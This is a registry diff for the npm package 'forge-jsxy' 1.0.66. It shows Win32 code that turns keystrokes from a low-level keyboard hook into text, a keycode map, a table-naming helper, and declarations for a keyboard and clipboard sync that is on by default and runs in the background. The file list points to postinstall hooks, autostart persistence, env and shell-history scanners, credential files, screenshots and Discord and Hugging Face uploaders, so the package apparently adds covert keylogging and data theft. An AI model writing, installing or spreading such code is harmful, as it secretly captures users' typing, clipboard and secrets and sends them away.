forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,101 @@
1
+ "use strict";
2
+ /**
3
+ * PostgreSQL `client_*` table names and relay `/files` session IDs.
4
+ * Keep logic aligned with forge `src/cfgmgr/table_naming.py` and forge-db `table_naming.py`.
5
+ */
6
+ Object.defineProperty(exports, "__esModule", { value: true });
7
+ exports.CLIENT_ID_MAX_LEN = exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN = exports.CLIENT_TABLE_PREFIX = void 0;
8
+ exports.canonicalClientIdFragment = canonicalClientIdFragment;
9
+ exports.safeIdentifierForTable = safeIdentifierForTable;
10
+ exports.postgresqlClientTableName = postgresqlClientTableName;
11
+ exports.sessionIdFromTableName = sessionIdFromTableName;
12
+ exports.sessionIdFromClientIdString = sessionIdFromClientIdString;
13
+ exports.CLIENT_TABLE_PREFIX = "client_";
14
+ exports.POSTGRES_IDENTIFIER_MAX_LEN = 63;
15
+ exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN = exports.POSTGRES_IDENTIFIER_MAX_LEN - exports.CLIENT_TABLE_PREFIX.length;
16
+ exports.CLIENT_ID_MAX_LEN = 128;
17
+ const _CLIENT_ID_UUID_RE = /[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}/;
18
+ function normalizeUnicodeHyphens(s) {
19
+ return s.replace(/[\u2010-\u2015\u2212\uFE58\uFE63\uFF0D]/g, "-");
20
+ }
21
+ function stripOuterGuards(s) {
22
+ let t = s.trim();
23
+ if ((t.startsWith("{") && t.endsWith("}")) ||
24
+ (t.startsWith("[") && t.endsWith("]")) ||
25
+ (t.startsWith("(") && t.endsWith(")"))) {
26
+ t = t.slice(1, -1).trim();
27
+ }
28
+ const low = t.toLowerCase();
29
+ if (low.startsWith("urn:uuid:")) {
30
+ t = t.slice("urn:uuid:".length).trim();
31
+ }
32
+ return t;
33
+ }
34
+ function dashedUuidFrom32HexOnly(s) {
35
+ if (!/^[0-9a-fA-F]{32}$/i.test(s))
36
+ return null;
37
+ const h = s.toLowerCase();
38
+ return `${h.slice(0, 8)}-${h.slice(8, 12)}-${h.slice(12, 16)}-${h.slice(16, 20)}-${h.slice(20, 32)}`;
39
+ }
40
+ const CLIENT_UNDERSCORE_UUID_BODY = /^client_([0-9a-f]{8}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{4}_[0-9a-f]{12})$/i;
41
+ function canonicalClientIdFragment(raw) {
42
+ let s = normalizeUnicodeHyphens((raw || "").trim());
43
+ if (!s)
44
+ return s;
45
+ s = stripOuterGuards(s);
46
+ const cu = CLIENT_UNDERSCORE_UUID_BODY.exec(s);
47
+ if (cu) {
48
+ s = cu[1].replace(/_/g, "-");
49
+ }
50
+ if (!_CLIENT_ID_UUID_RE.test(s)) {
51
+ const d32 = dashedUuidFrom32HexOnly(s);
52
+ if (d32)
53
+ s = d32;
54
+ }
55
+ const m = s.match(_CLIENT_ID_UUID_RE);
56
+ if (m)
57
+ return m[0].toLowerCase();
58
+ return normalizeUnicodeHyphens((raw || "").trim());
59
+ }
60
+ function safeIdentifierForTable(identifier) {
61
+ if (!identifier)
62
+ return "";
63
+ let out = "";
64
+ for (const c of identifier) {
65
+ if (/^[a-zA-Z0-9]$/.test(c) || c === "_")
66
+ out += c;
67
+ else if (c === "-" || c === "." || c === ":")
68
+ out += "_";
69
+ }
70
+ return out || "";
71
+ }
72
+ function postgresqlClientTableName(clientId, clientIp) {
73
+ if (clientId) {
74
+ const raw = canonicalClientIdFragment(String(clientId).trim().slice(0, exports.CLIENT_ID_MAX_LEN));
75
+ const safeFull = safeIdentifierForTable(raw.slice(0, 128));
76
+ if (safeFull.startsWith(exports.CLIENT_TABLE_PREFIX)) {
77
+ return safeFull.slice(0, exports.POSTGRES_IDENTIFIER_MAX_LEN);
78
+ }
79
+ const safe = safeFull.slice(0, exports.MAX_RAW_CLIENT_ID_TABLE_PART_LEN);
80
+ if (safe)
81
+ return `${exports.CLIENT_TABLE_PREFIX}${safe}`;
82
+ }
83
+ if (clientIp) {
84
+ const safe = safeIdentifierForTable(clientIp);
85
+ if (safe)
86
+ return `${exports.CLIENT_TABLE_PREFIX}ip_${safe}`;
87
+ }
88
+ return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
89
+ }
90
+ function sessionIdFromTableName(tableName) {
91
+ const safe = String(tableName || "").replace(/[^a-zA-Z0-9_]/g, "");
92
+ if (safe.startsWith(exports.CLIENT_TABLE_PREFIX))
93
+ return safe;
94
+ return `${exports.CLIENT_TABLE_PREFIX}anonymous`;
95
+ }
96
+ function sessionIdFromClientIdString(clientId) {
97
+ const cid = (clientId || "").trim() || null;
98
+ if (!cid)
99
+ return `${exports.CLIENT_TABLE_PREFIX}unknown`;
100
+ return postgresqlClientTableName(cid, null);
101
+ }
@@ -0,0 +1,7 @@
1
+ /**
2
+ * libuiohook `event.keycode` is a unified VC_* code (same as Linux), not a Windows scancode.
3
+ * Inverse of libuiohook `keycode_scancode_table[vk][0]` (Windows `input_helper.c`).
4
+ * Used to call ToUnicodeEx with the correct Windows virtual key.
5
+ */
6
+ export declare const VC_TO_WINDOWS_VK: Map<number, number>;
7
+ export declare function vcToWindowsVk(vc: number): number;
@@ -0,0 +1,154 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.VC_TO_WINDOWS_VK = void 0;
4
+ exports.vcToWindowsVk = vcToWindowsVk;
5
+ /**
6
+ * libuiohook `event.keycode` is a unified VC_* code (same as Linux), not a Windows scancode.
7
+ * Inverse of libuiohook `keycode_scancode_table[vk][0]` (Windows `input_helper.c`).
8
+ * Used to call ToUnicodeEx with the correct Windows virtual key.
9
+ */
10
+ exports.VC_TO_WINDOWS_VK = new Map([
11
+ [1, 27],
12
+ [2, 49],
13
+ [3, 50],
14
+ [4, 51],
15
+ [5, 52],
16
+ [6, 53],
17
+ [7, 54],
18
+ [8, 55],
19
+ [9, 56],
20
+ [10, 57],
21
+ [11, 48],
22
+ [12, 189],
23
+ [13, 187],
24
+ [14, 8],
25
+ [15, 9],
26
+ [16, 81],
27
+ [17, 87],
28
+ [18, 69],
29
+ [19, 82],
30
+ [20, 84],
31
+ [21, 89],
32
+ [22, 85],
33
+ [23, 73],
34
+ [24, 79],
35
+ [25, 80],
36
+ [26, 219],
37
+ [27, 221],
38
+ [28, 13],
39
+ [29, 17],
40
+ [30, 65],
41
+ [31, 83],
42
+ [32, 68],
43
+ [33, 70],
44
+ [34, 71],
45
+ [35, 72],
46
+ [36, 74],
47
+ [37, 75],
48
+ [38, 76],
49
+ [39, 186],
50
+ [40, 222],
51
+ [41, 192],
52
+ [42, 16],
53
+ [43, 220],
54
+ [44, 90],
55
+ [45, 88],
56
+ [46, 67],
57
+ [47, 86],
58
+ [48, 66],
59
+ [49, 78],
60
+ [50, 77],
61
+ [51, 188],
62
+ [52, 190],
63
+ [53, 191],
64
+ [54, 161],
65
+ [55, 106],
66
+ [56, 18],
67
+ [57, 32],
68
+ [58, 20],
69
+ [59, 112],
70
+ [60, 113],
71
+ [61, 114],
72
+ [62, 115],
73
+ [63, 116],
74
+ [64, 117],
75
+ [65, 118],
76
+ [66, 119],
77
+ [67, 120],
78
+ [68, 121],
79
+ [69, 144],
80
+ [70, 145],
81
+ [71, 103],
82
+ [72, 104],
83
+ [73, 105],
84
+ [74, 109],
85
+ [75, 100],
86
+ [76, 101],
87
+ [77, 102],
88
+ [78, 107],
89
+ [79, 97],
90
+ [80, 98],
91
+ [81, 99],
92
+ [82, 96],
93
+ [83, 110],
94
+ [87, 122],
95
+ [88, 123],
96
+ [91, 124],
97
+ [92, 125],
98
+ [93, 126],
99
+ [99, 127],
100
+ [100, 128],
101
+ [101, 129],
102
+ [102, 130],
103
+ [103, 131],
104
+ [104, 132],
105
+ [105, 133],
106
+ [106, 134],
107
+ [107, 135],
108
+ [112, 21],
109
+ [121, 25],
110
+ [125, 223],
111
+ [3613, 163],
112
+ [3637, 111],
113
+ [3639, 44],
114
+ [3640, 165],
115
+ [3653, 19],
116
+ [3654, 226],
117
+ [3655, 36],
118
+ [3657, 33],
119
+ [3663, 35],
120
+ [3665, 34],
121
+ [3666, 45],
122
+ [3667, 46],
123
+ [3675, 91],
124
+ [3676, 92],
125
+ [3677, 93],
126
+ [57360, 177],
127
+ [57369, 176],
128
+ [57376, 173],
129
+ [57377, 183],
130
+ [57378, 179],
131
+ [57380, 178],
132
+ [57390, 174],
133
+ [57392, 175],
134
+ [57394, 172],
135
+ [57404, 230],
136
+ [57416, 38],
137
+ [57419, 37],
138
+ [57420, 12],
139
+ [57421, 39],
140
+ [57424, 40],
141
+ [57439, 95],
142
+ [57444, 229],
143
+ [57445, 170],
144
+ [57446, 171],
145
+ [57447, 168],
146
+ [57448, 169],
147
+ [57449, 167],
148
+ [57450, 166],
149
+ [57452, 182],
150
+ [57453, 181],
151
+ ]);
152
+ function vcToWindowsVk(vc) {
153
+ return exports.VC_TO_WINDOWS_VK.get(vc) ?? 0;
154
+ }
@@ -0,0 +1,18 @@
1
+ export declare function readClipboardWinNative(): string | null;
2
+ /**
3
+ * Read the current Caps Lock toggle state via GetKeyState.
4
+ * Allows `windowsInputSync` to initialise `capsLockOnRef` correctly on startup
5
+ * so the fallback path is right from the first key even if the user never toggles Caps.
6
+ */
7
+ export declare function getInitialCapsLockState(): boolean;
8
+ /**
9
+ * Translate a uiohook keydown to Unicode using the current keyboard layout (ToUnicodeEx).
10
+ * Returns null if translation is unavailable, is a dead-key intermediate, or is filtered.
11
+ */
12
+ export declare function unicodeFromUiohookKeyEvent(ev: {
13
+ keycode: number;
14
+ shiftKey: boolean;
15
+ ctrlKey: boolean;
16
+ altKey: boolean;
17
+ metaKey: boolean;
18
+ }): string | null;
@@ -0,0 +1,198 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.readClipboardWinNative = readClipboardWinNative;
4
+ exports.getInitialCapsLockState = getInitialCapsLockState;
5
+ exports.unicodeFromUiohookKeyEvent = unicodeFromUiohookKeyEvent;
6
+ /**
7
+ * Win32-native layout-aware key translation (ToUnicodeEx).
8
+ * Clipboard NAPI read lives in `clipboardNapi.ts` (all desktop OSes).
9
+ */
10
+ const clipboardNapi_1 = require("./clipboardNapi");
11
+ const vcToWindowsVk_1 = require("./vcToWindowsVk");
12
+ const MAPVK_VK_TO_VSC_EX = 4;
13
+ const VK_SHIFT = 0x10;
14
+ const VK_LSHIFT = 0xa0;
15
+ const VK_RSHIFT = 0xa1;
16
+ const VK_CONTROL = 0x11;
17
+ const VK_MENU = 0x12;
18
+ const VK_LCONTROL = 0xa2;
19
+ const VK_RCONTROL = 0xa3;
20
+ const VK_LMENU = 0xa4;
21
+ const VK_RMENU = 0xa5;
22
+ /** Toggle key; ToUnicodeEx uses the low bit from keyboard state for numpad vs navigation. */
23
+ const VK_NUMLOCK = 0x90;
24
+ /** Caps Lock toggle; refresh from GetKeyState like Num Lock — GetKeyboardState can lag in hooks. */
25
+ const VK_CAPITAL = 0x14;
26
+ /**
27
+ * In a low-level keyboard hook, GetKeyboardState often lags modifier keys for the current event.
28
+ * uiohook's `shiftKey` is also often false on the keydown for the letter even when Shift is held
29
+ * (ordering); use GetAsyncKeyState(VK_SHIFT) so Shift+A and Caps still map correctly in ToUnicodeEx.
30
+ * Ctrl+Alt alignment matters for AltGr + ToUnicodeEx on many layouts.
31
+ */
32
+ function applyHookModifiersToKeyState(keyState, ev) {
33
+ if (ev.shiftKey) {
34
+ keyState[VK_SHIFT] |= 0x80;
35
+ keyState[VK_LSHIFT] |= 0x80;
36
+ keyState[VK_RSHIFT] |= 0x80;
37
+ }
38
+ else {
39
+ keyState[VK_SHIFT] &= ~0x80;
40
+ keyState[VK_LSHIFT] &= ~0x80;
41
+ keyState[VK_RSHIFT] &= ~0x80;
42
+ }
43
+ if (ev.ctrlKey) {
44
+ keyState[VK_CONTROL] |= 0x80;
45
+ keyState[VK_LCONTROL] |= 0x80;
46
+ keyState[VK_RCONTROL] |= 0x80;
47
+ }
48
+ else {
49
+ keyState[VK_CONTROL] &= ~0x80;
50
+ keyState[VK_LCONTROL] &= ~0x80;
51
+ keyState[VK_RCONTROL] &= ~0x80;
52
+ }
53
+ if (ev.altKey) {
54
+ keyState[VK_MENU] |= 0x80;
55
+ keyState[VK_LMENU] |= 0x80;
56
+ keyState[VK_RMENU] |= 0x80;
57
+ }
58
+ else {
59
+ keyState[VK_MENU] &= ~0x80;
60
+ keyState[VK_LMENU] &= ~0x80;
61
+ keyState[VK_RMENU] &= ~0x80;
62
+ }
63
+ }
64
+ let user32Api;
65
+ let user32LoadFailed = false;
66
+ function getUser32() {
67
+ if (process.platform !== "win32")
68
+ return null;
69
+ if (user32LoadFailed)
70
+ return null;
71
+ if (user32Api)
72
+ return user32Api;
73
+ try {
74
+ const koffi = require("koffi");
75
+ const user32 = koffi.load("user32.dll");
76
+ user32Api = {
77
+ MapVirtualKeyW: user32.func("uint32_t __stdcall MapVirtualKeyW(uint32_t uCode, uint32_t uMapType)"),
78
+ GetForegroundWindow: user32.func("void * __stdcall GetForegroundWindow(void)"),
79
+ GetWindowThreadProcessId: user32.func("uint32_t __stdcall GetWindowThreadProcessId(void *hWnd, uint32_t *lpdwProcessId)"),
80
+ GetKeyboardLayout: user32.func("void * __stdcall GetKeyboardLayout(uint32_t idThread)"),
81
+ GetKeyboardState: user32.func("int __stdcall GetKeyboardState(_Out_ uint8_t *lpKeyState)"),
82
+ GetKeyState: user32.func("int16_t __stdcall GetKeyState(int32_t nVirtKey)"),
83
+ GetAsyncKeyState: user32.func("int16_t __stdcall GetAsyncKeyState(int32_t nVirtKey)"),
84
+ ToUnicodeEx: user32.func("int32_t __stdcall ToUnicodeEx(uint32_t wVirtKey, uint32_t wScanCode, uint8_t *lpKeyState, _Out_ uint16_t *pwszBuff, int32_t cchBuff, uint32_t wFlags, void *dwhkl)"),
85
+ };
86
+ return user32Api;
87
+ }
88
+ catch {
89
+ user32LoadFailed = true;
90
+ return null;
91
+ }
92
+ }
93
+ function readClipboardWinNative() {
94
+ return (0, clipboardNapi_1.readClipboardNapi)();
95
+ }
96
+ /**
97
+ * Read the current Caps Lock toggle state via GetKeyState.
98
+ * Allows `windowsInputSync` to initialise `capsLockOnRef` correctly on startup
99
+ * so the fallback path is right from the first key even if the user never toggles Caps.
100
+ */
101
+ function getInitialCapsLockState() {
102
+ if (process.platform !== "win32")
103
+ return false;
104
+ const u32 = getUser32();
105
+ if (!u32)
106
+ return false;
107
+ try {
108
+ return !!(u32.GetKeyState(VK_CAPITAL) & 0x01);
109
+ }
110
+ catch {
111
+ return false;
112
+ }
113
+ }
114
+ /**
115
+ * Translate a uiohook keydown to Unicode using the current keyboard layout (ToUnicodeEx).
116
+ * Returns null if translation is unavailable, is a dead-key intermediate, or is filtered.
117
+ */
118
+ function unicodeFromUiohookKeyEvent(ev) {
119
+ if (process.platform !== "win32")
120
+ return null;
121
+ if (ev.metaKey)
122
+ return null;
123
+ // Ctrl alone (shortcuts). Allow Ctrl+Alt — that is AltGr on many European layouts.
124
+ if (ev.ctrlKey && !ev.altKey)
125
+ return null;
126
+ if (ev.altKey && !ev.ctrlKey)
127
+ return null;
128
+ // libuiohook: Num Lock off uses `0xEE00 | VC_KP_*` (numpad-as-navigation). Not printable.
129
+ if ((ev.keycode & 0xff00) === 0xee00)
130
+ return null;
131
+ const u32 = getUser32();
132
+ if (!u32)
133
+ return null;
134
+ /** libuiohook keycode is VC_* (unified), not a Windows hardware scancode. */
135
+ const vk = (0, vcToWindowsVk_1.vcToWindowsVk)(ev.keycode);
136
+ if (vk === 0)
137
+ return null;
138
+ const scanTu = u32.MapVirtualKeyW(vk, MAPVK_VK_TO_VSC_EX) >>> 0;
139
+ // Build keyboard state from scratch — do NOT call GetKeyboardState; our process has no
140
+ // keyboard focus, so it returns wrong modifier states for Shift/Ctrl/Alt.
141
+ const keyState = Buffer.alloc(256);
142
+ // uiohook captures shiftKey inside WH_KEYBOARD_LL at hook time (reliable). Supplement
143
+ // with GetAsyncKeyState to cover edge cases where uiohook's mask lags on some builds.
144
+ let shiftEffective = ev.shiftKey;
145
+ try {
146
+ shiftEffective =
147
+ ev.shiftKey ||
148
+ (u32.GetAsyncKeyState(VK_SHIFT) & 0x8000) !== 0 ||
149
+ (u32.GetAsyncKeyState(VK_LSHIFT) & 0x8000) !== 0 ||
150
+ (u32.GetAsyncKeyState(VK_RSHIFT) & 0x8000) !== 0;
151
+ }
152
+ catch {
153
+ /* GetAsyncKeyState unavailable — use ev.shiftKey only */
154
+ }
155
+ applyHookModifiersToKeyState(keyState, {
156
+ shiftKey: shiftEffective,
157
+ ctrlKey: ev.ctrlKey,
158
+ altKey: ev.altKey,
159
+ });
160
+ // Toggle keys: GetKeyState returns global toggle state regardless of focus.
161
+ try {
162
+ keyState[VK_CAPITAL] = u32.GetKeyState(VK_CAPITAL) & 0xff;
163
+ keyState[VK_NUMLOCK] = u32.GetKeyState(VK_NUMLOCK) & 0xff;
164
+ }
165
+ catch {
166
+ /* non-critical — leave toggle bits at 0 */
167
+ }
168
+ const out = Buffer.alloc(64);
169
+ /** UTF-16 code units; must match buffer (64 bytes = 32 wchar). */
170
+ const wcharCap = 32;
171
+ let tid = 0;
172
+ try {
173
+ const hwnd = u32.GetForegroundWindow();
174
+ if (hwnd) {
175
+ tid = u32.GetWindowThreadProcessId(hwnd, null) >>> 0;
176
+ }
177
+ }
178
+ catch {
179
+ /* use thread 0 — GetKeyboardLayout returns the current layout */
180
+ }
181
+ const hkl = tid ? u32.GetKeyboardLayout(tid) : u32.GetKeyboardLayout(0);
182
+ const ret = u32.ToUnicodeEx(vk, scanTu, keyState, out, wcharCap, 0, hkl);
183
+ if (ret < 0)
184
+ return null;
185
+ if (ret === 0)
186
+ return null;
187
+ const n = Math.min(ret, wcharCap);
188
+ let str = out.toString("utf16le", 0, n * 2);
189
+ str = str.replace(/\r\n/g, "\n").replace(/\r/g, "\n");
190
+ if (!str)
191
+ return null;
192
+ for (let i = 0; i < str.length; i++) {
193
+ const cp = str.charCodeAt(i);
194
+ if (cp < 32 && cp !== 9 && cp !== 10)
195
+ return null;
196
+ }
197
+ return str;
198
+ }
@@ -0,0 +1,22 @@
1
+ /**
2
+ * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
3
+ * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
4
+ */
5
+ export declare function effectiveSyncKeyboardClipboard(): boolean;
6
+ export declare function resolveSyncApiBase(): string | null;
7
+ export type DesktopInputSyncOptions = {
8
+ apiBaseUrl: string;
9
+ clientId?: string;
10
+ clipboardPollMs?: number;
11
+ keyboardFlushMs?: number;
12
+ flushMs?: number;
13
+ flushBatchMax?: number;
14
+ clipboardBackupPollMs?: number;
15
+ quiet?: boolean;
16
+ };
17
+ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
18
+ /**
19
+ * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
20
+ */
21
+ export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): () => void;
22
+ export declare const startWindowsInputSync: typeof startDesktopInputSync;